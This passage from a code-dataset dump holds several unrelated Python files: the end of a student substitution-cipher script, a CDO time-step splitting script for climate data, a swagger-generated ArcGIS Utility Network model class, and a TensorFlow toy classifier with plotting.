'l', 'm', 'p', 'q', 'r', 't', 'v', 'w', 'x', 'y']\n \"\"\"\n lowercase_key = key.lower()\n result = []\n copy_alphabet = list(ALPHABET) #make copy of alphabet\n for i in range(len(lowercase_key)):\n # return a char if it is not already in result and it is a letter, then remove every other instance of\n # the char from the copy of the alphabet\n if not lowercase_key[i] in result and lowercase_key[i].isalpha():\n result += lowercase_key[i]\n copy_alphabet.remove(lowercase_key[i])\n result += copy_alphabet\n return result\n\n\ndef encrypt_char(source, slug, char):\n \"\"\"\n Given source and slug lists,\n if char is in source return\n its encrypted form, otherwise\n return it unchanged.\n # Using 'z' slug for testing.\n # Can set a var within a Doctest like this.\n >>> slug = ['z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y']\n >>> encrypt_char(ALPHABET, slug, 'A')\n 'Z'\n >>> encrypt_char(ALPHABET, slug, 'n')\n 'm'\n >>> encrypt_char(ALPHABET, slug, 'd')\n 'c'\n >>> encrypt_char(ALPHABET, slug, '.')\n '.'\n >>> encrypt_char(ALPHABET, slug, '\\\\n')\n '\\\\n'\n \"\"\"\n lowercase_char = char.lower()\n # if char is in key, look for the char at the same index in key and return an\n # upper/lower case encrypted char based on input char\n if lowercase_char in source:\n i = source.index(lowercase_char)\n result = slug[i]\n if char.isupper():\n return result.upper()\n return result\n return char\n\n\ndef encrypt_str(source, slug, s):\n \"\"\"\n Given source and slug lists and string s,\n return a version of s where every char\n has been encrypted by source/slug.\n >>> slug = ['z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y']\n >>> encrypt_str(ALPHABET, slug, 'And like a thunderbolt he falls.\\\\n')\n 'Zmc khjd z sgtmcdqanks gd ezkkr.\\\\n'\n \"\"\"\n result = ''\n # encrypt each character in the string and return the encrypted string\n for ch in s:\n encrypted = encrypt_char(source, slug, ch)\n result += encrypted\n return result\n\n\ndef decrypt_str(source, slug, s):\n \"\"\"\n Given source and slug lists, and encrypted string s,\n return the decrypted form of s.\n >>> slug = ['z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y']\n >>> decrypt_str(ALPHABET, slug, 'Zmc khjd z sgtmcdqanks gd ezkkr.\\\\n')\n 'And like a thunderbolt he falls.\\\\n'\n \"\"\"\n # switching parameters from encrypt_str to decrypt the string\n return encrypt_str(slug, source, s)\n\n\ndef encrypt_file(filename, key):\n \"\"\"\n Given filename and key, compute and\n print the encrypted form of its lines.\n \"\"\"\n # opening file and setting everything to f and running through each line to encrypt\n with open(filename, 'r') as f:\n for line in f:\n print(encrypt_str(ALPHABET, key_slug(key), line))\n\n\ndef decrypt_file(filename, key):\n \"\"\"\n Given filename and key, compute and\n print the decrypted form of its lines.\n \"\"\"\n # opening file and setting everything into f and running through each line to decrypt\n with open(filename, 'r') as f:\n for line in f:\n print(decrypt_str(ALPHABET, key_slug(key), line))\n\n\ndef main():\n \"\"\"\n Encrypt or decrypt files when commands are given to do so in the command line \n \"\"\"\n args = sys.argv[1:]\n # 2 command line argument patterns:\n # -encrypt key filename\n # -decrypt key filename\n # Call encrypt_file() or decrypt_file() based on the args.\n filename = args[2]\n key = args[1]\n # the length of the argument in the command line is 3 and the argument is to encrypt/decrypt\n # file, encrypt/decrypt file\n if len(args) == 3 and args[0] == '-encrypt':\n encrypt_file(filename, key)\n if len(args) == 3 and args[0] == '-decrypt':\n decrypt_file(filename, key)\n\n\n\n# Python boilerplate.\nif __name__ == '__main__':\n main()\n","sub_path":"crypto.py","file_name":"crypto.py","file_ext":"py","file_size_in_byte":5231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"202878852","text":"import subprocess\nimport os\n\n#### CDO Command for single infile and single outfile \n# cdo -seltimestep,3 \n\ndef seltimestep(startyear, startmonth, timesteps, infile, outdir, prefix=None):\n if not os.path.isdir(outdir):\n os.mkdir(outdir)\n\n year = startyear\n month = startmonth\n\n for t in range(1, timesteps+1):\n if prefix is not None:\n outfile = os.path.join(outdir, f\"{prefix}_{year}{month:02}.nc\")\n else:\n outfile = os.path.join(outdir, f\"{year}{month:02}.nc\")\n print(f\"Current File: {outfile}\")\n print(subprocess.run([\"cdo\", f'-seltimestep,{t}', infile, outfile]))\n if month + 1 > 12:\n month = 1\n year += 1\n else:\n month += 1\n \n\ndef main():\n # First use\n # cdo -ntime \n # to get the number of timesteps.\n\n timesteps = 225\n infile = \"/mnt/i/Dissertation/ERA5Data/slhf_corrected.nc\"\n outdir = \"/mnt/i/Dissertation/ERA5Data/Monthwise\"\n start_year = 2001\n start_month = 6\n\n seltimestep(start_year, start_month, timesteps, infile, outdir)\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"Regridding/CDO_select_time.py","file_name":"CDO_select_time.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"567952123","text":"# coding: utf-8\n\n\"\"\"\n Swagger for Utility Network\n\n Open API Specification (OAS/Swagger) * **trace**, **updateIsConnected** from the [ArcGIS Utility Network](https://developers.arcgis.com/rest/services-reference/utility-network-service.htm) * **generateToken** from the [ArcGIS REST API](https://developers.arcgis.com/rest/) Tested on ArcGIS Enterprise 10.8.1 using OpenAPI Specification (OAC) written in [SwaggerEditor](https://github.com/swagger-api/swagger-editor) and [SwaggerHub](https://app.swaggerhub.com/) for C# and Typescript-Angular code generation. # noqa: E501\n\n OpenAPI spec version: 3.0\n Contact: kim.sundeen@sspinnovations.com\n Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\nimport pprint\nimport re # noqa: F401\n\nimport six\n\nclass NearestNeighborParam(object):\n \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n Do not edit the class manually.\n \"\"\"\n \"\"\"\n Attributes:\n swagger_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n swagger_types = {\n 'count': 'int',\n 'cost_network_attribute_name': 'str',\n 'nearest_categories': 'list[str]',\n 'nearest_assets': 'list[str]'\n }\n\n attribute_map = {\n 'count': 'count',\n 'cost_network_attribute_name': 'costNetworkAttributeName',\n 'nearest_categories': 'nearestCategories',\n 'nearest_assets': 'nearestAssets'\n }\n\n def __init__(self, count=None, cost_network_attribute_name='', nearest_categories=None, nearest_assets=None): # noqa: E501\n \"\"\"NearestNeighborParam - a model defined in Swagger\"\"\" # noqa: E501\n self._count = None\n self._cost_network_attribute_name = None\n self._nearest_categories = None\n self._nearest_assets = None\n self.discriminator = None\n if count is not None:\n self.count = count\n if cost_network_attribute_name is not None:\n self.cost_network_attribute_name = cost_network_attribute_name\n self.nearest_categories = nearest_categories\n self.nearest_assets = nearest_assets\n\n @property\n def count(self):\n \"\"\"Gets the count of this NearestNeighborParam. # noqa: E501\n\n\n :return: The count of this NearestNeighborParam. # noqa: E501\n :rtype: int\n \"\"\"\n return self._count\n\n @count.setter\n def count(self, count):\n \"\"\"Sets the count of this NearestNeighborParam.\n\n\n :param count: The count of this NearestNeighborParam. # noqa: E501\n :type: int\n \"\"\"\n\n self._count = count\n\n @property\n def cost_network_attribute_name(self):\n \"\"\"Gets the cost_network_attribute_name of this NearestNeighborParam. # noqa: E501\n\n\n :return: The cost_network_attribute_name of this NearestNeighborParam. # noqa: E501\n :rtype: str\n \"\"\"\n return self._cost_network_attribute_name\n\n @cost_network_attribute_name.setter\n def cost_network_attribute_name(self, cost_network_attribute_name):\n \"\"\"Sets the cost_network_attribute_name of this NearestNeighborParam.\n\n\n :param cost_network_attribute_name: The cost_network_attribute_name of this NearestNeighborParam. # noqa: E501\n :type: str\n \"\"\"\n\n self._cost_network_attribute_name = cost_network_attribute_name\n\n @property\n def nearest_categories(self):\n \"\"\"Gets the nearest_categories of this NearestNeighborParam. # noqa: E501\n\n\n :return: The nearest_categories of this NearestNeighborParam. # noqa: E501\n :rtype: list[str]\n \"\"\"\n return self._nearest_categories\n\n @nearest_categories.setter\n def nearest_categories(self, nearest_categories):\n \"\"\"Sets the nearest_categories of this NearestNeighborParam.\n\n\n :param nearest_categories: The nearest_categories of this NearestNeighborParam. # noqa: E501\n :type: list[str]\n \"\"\"\n if nearest_categories is None:\n raise ValueError(\"Invalid value for `nearest_categories`, must not be `None`\") # noqa: E501\n\n self._nearest_categories = nearest_categories\n\n @property\n def nearest_assets(self):\n \"\"\"Gets the nearest_assets of this NearestNeighborParam. # noqa: E501\n\n\n :return: The nearest_assets of this NearestNeighborParam. # noqa: E501\n :rtype: list[str]\n \"\"\"\n return self._nearest_assets\n\n @nearest_assets.setter\n def nearest_assets(self, nearest_assets):\n \"\"\"Sets the nearest_assets of this NearestNeighborParam.\n\n\n :param nearest_assets: The nearest_assets of this NearestNeighborParam. # noqa: E501\n :type: list[str]\n \"\"\"\n if nearest_assets is None:\n raise ValueError(\"Invalid value for `nearest_assets`, must not be `None`\") # noqa: E501\n\n self._nearest_assets = nearest_assets\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.swagger_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n result[attr] = value\n if issubclass(NearestNeighborParam, dict):\n for key, value in self.items():\n result[key] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n return pprint.pformat(self.to_dict())\n\n def __repr__(self):\n \"\"\"For `print` and `pprint`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, NearestNeighborParam):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"code samples/swaggereditor-clients_v2/python-client-generated/swagger_client/models/nearest_neighbor_param.py","file_name":"nearest_neighbor_param.py","file_ext":"py","file_size_in_byte":6553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"66398713","text":"# coding:utf-8\r\n'''\r\nCreated on 2018��7��30��\r\n\r\n@author: sherl\r\n'''\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport math,random,time\r\nimport matplotlib.pyplot as plt\r\nfrom datetime import datetime\r\nimport os.path as op\r\n\r\nNUM_CLASSES = 2\r\nNUM_INPUTS=2\r\nhidden1_units = 10\r\nhidden2_units=10\r\nhidden3_units=10\r\n\r\nbatchsize = 100\r\nRANGE_x=10 #这里代表正负10\r\ndraw_gap=20\r\nmodel_step=1000\r\nmax_step=50000\r\nlr=0.04\r\n\r\n\r\n\r\n#today = datetime.date.today() #datetime.date类型当前日期\r\n#str_today = str(today) #字符串型当前日期,2016-10-09格式\r\nTIMESTAMP = \"{0:%Y-%m-%d_%H-%M-%S}\".format(datetime.now())\r\n\r\n\r\ndef inference(points):\r\n with tf.name_scope('hidden1'):\r\n weights = tf.Variable(\r\n tf.truncated_normal([NUM_INPUTS, hidden1_units],\r\n stddev=1.0 / math.sqrt(float(2))),\r\n name='weights')\r\n biases = tf.Variable(tf.zeros([hidden1_units]),\r\n name='biases')\r\n hidden1 = tf.nn.relu(tf.matmul(points, weights) + biases)\r\n \r\n tf.summary.scalar('hid1_bias',tf.reduce_max(biases))\r\n tf.summary.histogram('hid1_bias',biases)\r\n \r\n with tf.name_scope('hidden2'):\r\n weights = tf.Variable(\r\n tf.truncated_normal([hidden1_units, hidden2_units],\r\n stddev=1.0 / math.sqrt(float(2))), name='weights')\r\n biases = tf.Variable(tf.zeros([hidden2_units]),\r\n name='biases')\r\n hidden2 = tf.nn.relu(tf.matmul(hidden1, weights) + biases)\r\n \r\n tf.summary.scalar('hid2_bias',tf.reduce_max(biases))\r\n tf.summary.histogram('hid2_bias',biases)\r\n \r\n with tf.name_scope('hidden3'):\r\n weights = tf.Variable(\r\n tf.truncated_normal([hidden2_units, hidden3_units],\r\n stddev=1.0 / math.sqrt(float(2))), name='weights')\r\n biases = tf.Variable(tf.zeros([hidden2_units]),\r\n name='biases')\r\n hidden3 = tf.nn.relu(tf.matmul(hidden2, weights) + biases)\r\n \r\n tf.summary.scalar('hid3_bias',tf.reduce_max(biases))\r\n tf.summary.histogram('hid3_bias',biases)\r\n \r\n with tf.name_scope('softmax_linear'):\r\n weights = tf.Variable(\r\n tf.truncated_normal([hidden3_units, NUM_CLASSES],\r\n stddev=1.0 / math.sqrt(float(hidden2_units))),\r\n name='weights')\r\n biases = tf.Variable(tf.zeros([NUM_CLASSES]),\r\n name='biases')\r\n logits = tf.matmul(hidden3, weights) + biases\r\n return logits\r\n\r\n\r\ndef loss(logits, labels):\r\n \"\"\"Calculates the loss from the logits and the labels.\r\n\r\n Args:\r\n logits: Logits tensor, float - [batch_size, NUM_CLASSES].\r\n labels: Labels tensor, int32 - [batch_size].\r\n\r\n Returns:\r\n loss: Loss tensor of type float.\r\n \"\"\"\r\n labels = tf.to_int64(labels)\r\n loss=tf.losses.sparse_softmax_cross_entropy(labels=labels, logits=logits)\r\n tf.summary.scalar('loss',loss)\r\n return loss\r\n\r\n\r\ndef training(loss, learning_rate):\r\n \"\"\"Sets up the training Ops.\r\n \r\n Creates a summarizer to track the loss over time in TensorBoard.\r\n \r\n Creates an optimizer and applies the gradients to all trainable variables.\r\n \r\n The Op returned by this function is what must be passed to the\r\n `sess.run()` call to cause the model to train.\r\n \r\n Args:\r\n loss: Loss tensor, from loss().\r\n learning_rate: The learning rate to use for gradient descent.\r\n \r\n Returns:\r\n train_op: The Op for training.\r\n \"\"\"\r\n # Add a scalar summary for the snapshot loss.\r\n #tf.summary.scalar('loss', loss)\r\n # Create the gradient descent optimizer with the given learning rate.\r\n optimizer = tf.train.GradientDescentOptimizer(learning_rate)\r\n # Create a variable to track the global step.\r\n global_step = tf.Variable(0, name='global_step', trainable=False)\r\n # Use the optimizer to apply the gradients that minimize the loss\r\n # (and also increment the global step counter) as a single training step.\r\n train_op = optimizer.minimize(loss, global_step=global_step)\r\n return train_op\r\n\r\ndef function_sigmoid(x):\r\n return 1.0 / (1.0 + np.exp(-x))\r\n\r\ndef function_tanh(x):\r\n ex=np.exp(x)\r\n nex=np.exp(-x)\r\n return (ex-nex)/(nex+ex)\r\n\r\ndef get_batch_data():\r\n '''\r\n 这里数据的产生时标签决定了最终图形,如生成数据时在圆里面为1,则训出来的网络就按照这个圆取拟合\r\n '''\r\n dat=[]\r\n label=[]\r\n \r\n\r\n for i in range(batchsize):\r\n x=random.random()*RANGE_x*2-RANGE_x#in -10->10\r\n y=random.random()*4-2#in -10->10\r\n dat.append([x,y])\r\n #print (x,\":\",y)\r\n\r\n \r\n if function_tanh(x)>=y:#拟合一个fun\r\n #if abs(x)+abs(y)<=1:#拟合菱形\r\n #if y<=1/x:#拟合y=1/x\r\n #print (x,\":\",y,\"in the circle\")\r\n label.append(1)\r\n else: label.append(0)\r\n return dat,label\r\n\r\nif __name__ == '__main__':\r\n plt.ion()\r\n \r\n fig = plt.figure() \r\n \r\n \r\n axes = fig.add_subplot(121)\r\n axes.axis('equal')\r\n plt.title('test fitness')\r\n \r\n \r\n axes2 = fig.add_subplot(122)\r\n #axes2.axis(\"equal\")\r\n plt.title(\"loss\")\r\n\r\n\r\n\r\nloss_list=[]\r\n \r\ndef evaluate(sess, logits, dat_place):\r\n cnt_true=0\r\n cnt_all=0\r\n \r\n kep_in=[]\r\n kep_out=[]\r\n for i in range(50):\r\n dat,lab=get_batch_data()\r\n l=sess.run(logits, feed_dict={dat_place:dat})\r\n for id,i in enumerate(l):\r\n if i.argmax()==0:\r\n kep_out.append(dat[id])\r\n else: kep_in.append(dat[id])\r\n cnt_all+=batchsize\r\n tep=np.sum(np.argmax(l,axis=1)==lab)\r\n cnt_true+=tep\r\n print ('eval once, accu:',cnt_true/cnt_all,'\\n')\r\n \r\n \r\n \r\n\r\n \r\n #plt.cla()#清屏\r\n axes.cla()\r\n axes2.cla()\r\n \r\n axes2.grid(True, color = \"r\")\r\n axes2.plot(range(len(loss_list)), loss_list)\r\n axes.plot([0],[0])\r\n \r\n #axes.grid(True, color = \"r\")\r\n if len(kep_out)>0:\r\n tep=np.array(kep_out)\r\n axes.set_xlim(-RANGE_x,RANGE_x)\r\n axes.set_ylim(-1,1)\r\n axes.scatter(tep[:,0],tep[:,1],color='g',s=1,marker='.')#外面的是\r\n \r\n \r\n #print (kep_in)\r\n if len(kep_in)>0:#刚开始时weight都是随机的,所以前向的时候可能一个预测结果都不在圆里面,这时kep_in为空,要有一定判断\r\n tep2=np.array(kep_in)\r\n axes.set_xlim(-RANGE_x,RANGE_x)\r\n axes.set_ylim(-1,1)\r\n axes.scatter(tep2[:,0],tep2[:,1],color='b',s=1,marker='.')#里面的是blue\r\n \r\n \r\n \r\n plt.suptitle(u'test') #对中文的支持很差!\r\n plt.pause(0.0001)\r\n \r\n\r\n \r\nlogdir=\"logs/\"+TIMESTAMP\r\n\r\ndef start():\r\n dat_place = tf.placeholder(tf.float32, shape=(batchsize, NUM_INPUTS), name='input_img')\r\n label_place= tf.placeholder(tf.float32, shape=(batchsize), name='input_lab')\r\n \r\n print (dat_place)\r\n \r\n logits=inference(dat_place)\r\n print (logits)#Tensor(\"softmax_linear/add:0\", shape=(100, 2), dtype=float32)\r\n los=loss(logits, label_place)\r\n \r\n train_op=training(los, lr)\r\n \r\n init = tf.global_variables_initializer()#初始化tf.Variable\r\n sess = tf.Session()\r\n \r\n\r\n merged = tf.summary.merge_all()\r\n writer = tf.summary.FileWriter(logdir, sess.graph)\r\n \r\n all_saver = tf.train.Saver(max_to_keep=2) \r\n \r\n sess.run(init)\r\n stti=time.time()\r\n for step in range(max_step):\r\n dat,lab=get_batch_data()\r\n #print (dat)\r\n _, loss_value, summary_resu = sess.run([train_op, los, merged], feed_dict={dat_place:dat, label_place:lab})\r\n \r\n if (step+1)%100==0:\r\n loss_list.append(loss_value)\r\n print(\"step:\",step,\" loss=\",loss_value)\r\n \r\n if (step+1)%model_step==0:\r\n pat=all_saver.save(sess, op.join(logdir,'model_keep'),global_step=step)\r\n print ('saved at:',pat)\r\n \r\n if (step+1)%draw_gap==0:\r\n evaluate(sess, logits, dat_place)\r\n \r\n writer.add_summary(summary_resu, step)\r\n print (\"done!!! time:\",(time.time()-stti))\r\n \r\n writer.close()\r\n \r\n \r\n \r\n\r\n\r\nif __name__ == '__main__':\r\n start()\r\n \r\n plt.ioff()\r\n plt.savefig(logdir+\"/\"+'lr'+str(lr)+'_max_step'+str(max_step)+'_hidden1_units'+str(hidden1_units)+\".png\")\r\n #plt.show()\r\n \r\n '''\r\n #b = tf.Variable([-.3], dtype=tf.float32)\r\n 当你调用tf.constant时常量被初始化,它们的值是不可以改变的,而变量当你调用tf.Variable时没有被初始化,\r\n在TensorFlow程序中要想初始化这些变量,你必须明确调用一个特定的操作\r\n\r\ninit = tf.global_variables_initializer()\r\nsess.run(init)\r\n\r\nhttps://blog.csdn.net/lengguoxing/article/details/78456279\r\n '''\r\n #sess = tf.Session()\r\n \r\n # sess.run(tf.global_variables_initializer())\r\n \r\n","sub_path":"use_tensor/draw_sigmoid/test_draw_sigmoid.py","file_name":"test_draw_sigmoid.py","file_ext":"py","file_size_in_byte":9106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}